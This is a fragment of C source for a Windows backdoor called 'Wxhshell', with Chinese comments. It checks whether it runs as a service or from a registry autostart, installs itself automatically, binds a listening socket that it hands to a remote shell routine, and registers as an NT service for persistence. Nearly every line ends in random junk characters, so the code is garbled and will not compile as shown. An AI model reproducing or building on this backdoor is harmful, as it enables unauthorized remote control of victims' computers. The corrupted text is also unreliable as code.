ULONG UniqueProcessId; 9#fp_G;=
ULONG InheritedFromUniqueProcessId; [,GU5,o
} PROCESS_BASIC_INFORMATION; b"&E,=L
y<v|X2
PROCNTQSIP NtQueryInformationProcess; Ph
Ttx(!
6J"(xT
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qPUA!-'
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yXrd2?Rq@
f,JX"
HANDLE hProcess; 7$#rNYa,z
PROCESS_BASIC_INFORMATION pbi; ke^d8Z.
*:[b'D!A
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
(:l(_-O
if(NULL == hInst ) return 0; 5pmQp}}R
o~k;D{Snr
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /:KQAM0
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?CFoe$M
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tJz^DXqAc
L&'l3|
if (!NtQueryInformationProcess) return 0; L:i+}F;M)s
gZ*hkKN6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AygvJeM_W
if(!hProcess) return 0; *73AAA5LKa
BtID;^Dz
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M2L0c?
Y.X4*B
CloseHandle(hProcess); 1xIFvXru
T$IUKR
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D$mf5G &
if(hProcess==NULL) return 0; DUhT>,~]
&\c5!xQ9*
HMODULE hMod; Zsgi{
char procName[255]; Gn[ *?=Vy
unsigned long cbNeeded; XR<G}x
hRLKb}
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); POY=zUQ'/
BJ2Q 2WW
CloseHandle(hProcess); d9|T=R
ve~C`2=;
if(strstr(procName,"services")) return 1; // 以服务启动 8lpzSJP4k
qJURPK
return 0; // 注册表启动 v?}pi
} }|,EU!nDi
6$DG.p
// 主模块 xh`Du|jvm
int StartWxhshell(LPSTR lpCmdLine) _\!0t
{ '(XW$D
SOCKET wsl; boIVU`F-!
BOOL val=TRUE; d _uFY:
int port=0; g*28L[Q~
struct sockaddr_in door; }`#Bf
t+J)dr
if(wscfg.ws_autoins) Install(); zG<0CZQ8
"!^c
port=atoi(lpCmdLine); 'cYQ?;
ze
?CoDx2
if(port<=0) port=wscfg.ws_port; tbY SK
}.OxJ=M
WSADATA data; h>.9RX &
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o:4CI
&%}bRPUl
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; wCC-Y kA
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v23TL
door.sin_family = AF_INET; 7pd$?=__I
door.sin_addr.s_addr = inet_addr("127.0.0.1"); sb 8dc
door.sin_port = htons(port); .1 Vu-@
~%/'0}F
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LK{a9`
h
closesocket(wsl); uFWvtL?;_
return 1; lR,G;
} YyG~#6aCh
~ J %m
if(listen(wsl,2) == INVALID_SOCKET) { b~F!.^7Q
closesocket(wsl); 1BTgGF
return 1; "AV1..mu
} a~6ztEhGm
Wxhshell(wsl); <e[!3,%L
WSACleanup(); |^Ur
u^!&{ q
return 0; A
xRl*B
sBbL~ce50?
} %6"o8
2}59 7Hb
// 以NT服务方式启动 H RWZ0 '
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) juR
{ jzT;,4poy
DWORD status = 0; K7+^Yv\YQx
DWORD specificError = 0xfffffff; 9*f2b.Aj
L,GShl 0S
serviceStatus.dwServiceType = SERVICE_WIN32; Gi;9 S
serviceStatus.dwCurrentState = SERVICE_START_PENDING; RsR] T]4
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7L1\1E:!
serviceStatus.dwWin32ExitCode = 0; gW/QFZjY
serviceStatus.dwServiceSpecificExitCode = 0; 2Qw)-EB
serviceStatus.dwCheckPoint = 0; 1`nc8qC
serviceStatus.dwWaitHint = 0; xcsFODx~
OCvml 2
vP
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %+D-y+hn
if (hServiceStatusHandle==0) return; 9t.fij
Wn2Ny jX
status = GetLastError(); ]j72P
if (status!=NO_ERROR) ,.J<.#D3J
{ R%qX_m\0
serviceStatus.dwCurrentState = SERVICE_STOPPED; (R,NV3m?w
serviceStatus.dwCheckPoint = 0; A>H*`{}
serviceStatus.dwWaitHint = 0; $>nkGb%Kp
serviceStatus.dwWin32ExitCode = status; S.qk%NTTD
serviceStatus.dwServiceSpecificExitCode = specificError; wVlSjk
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fMgcK$
return; zsHG=Ee*
} S83]O!w0
*;>V2!N=U
serviceStatus.dwCurrentState = SERVICE_RUNNING; nomu$|I
serviceStatus.dwCheckPoint = 0; R (t!xf
serviceStatus.dwWaitHint = 0; ;b{pzIe= F
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k];L!Fj1
} u Eu6f
n$nne6|O
// 处理NT服务事件,比如:启动、停止 TJeou#=/
VOID WINAPI NTServiceHandler(DWORD fdwControl) H9.oVF^~
{ aE%eJ)+K
switch(fdwControl) tU8g(ep,o
{ !E4E' I=]N
case SERVICE_CONTROL_STOP: Nck!z8
serviceStatus.dwWin32ExitCode = 0; c_R)P,P
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6z1aG9G
serviceStatus.dwCheckPoint = 0; #nxER
serviceStatus.dwWaitHint = 0; 50}.Xm@,BO
{ bjU 2UcI"<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !&1}w86
} a15,'v$O
return; B]&Lh~Im
case SERVICE_CONTROL_PAUSE: 3s88#_eT
serviceStatus.dwCurrentState = SERVICE_PAUSED; 5q0BG!A%T
break; xc:`}4
case SERVICE_CONTROL_CONTINUE: =1V>Vd?8.
serviceStatus.dwCurrentState = SERVICE_RUNNING; -wPuml!hZ|
break; S7@ZtFf
case SERVICE_CONTROL_INTERROGATE: GGFar\
EzW
break; j+z'
}; AAeQ- nbP
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dx p>
} 'vqj5YTj
Qi(e`(,'
// 标准应用程序主函数 /1[}G!
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @5<]W+jk4
{ e'}ePvN
D2hAlV)i(
// 获取操作系统版本 }I`
ku.@5
OsIsNt=GetOsVer(); J)#59a
GetModuleFileName(NULL,ExeFile,MAX_PATH); xfbK eS8
bxPY'&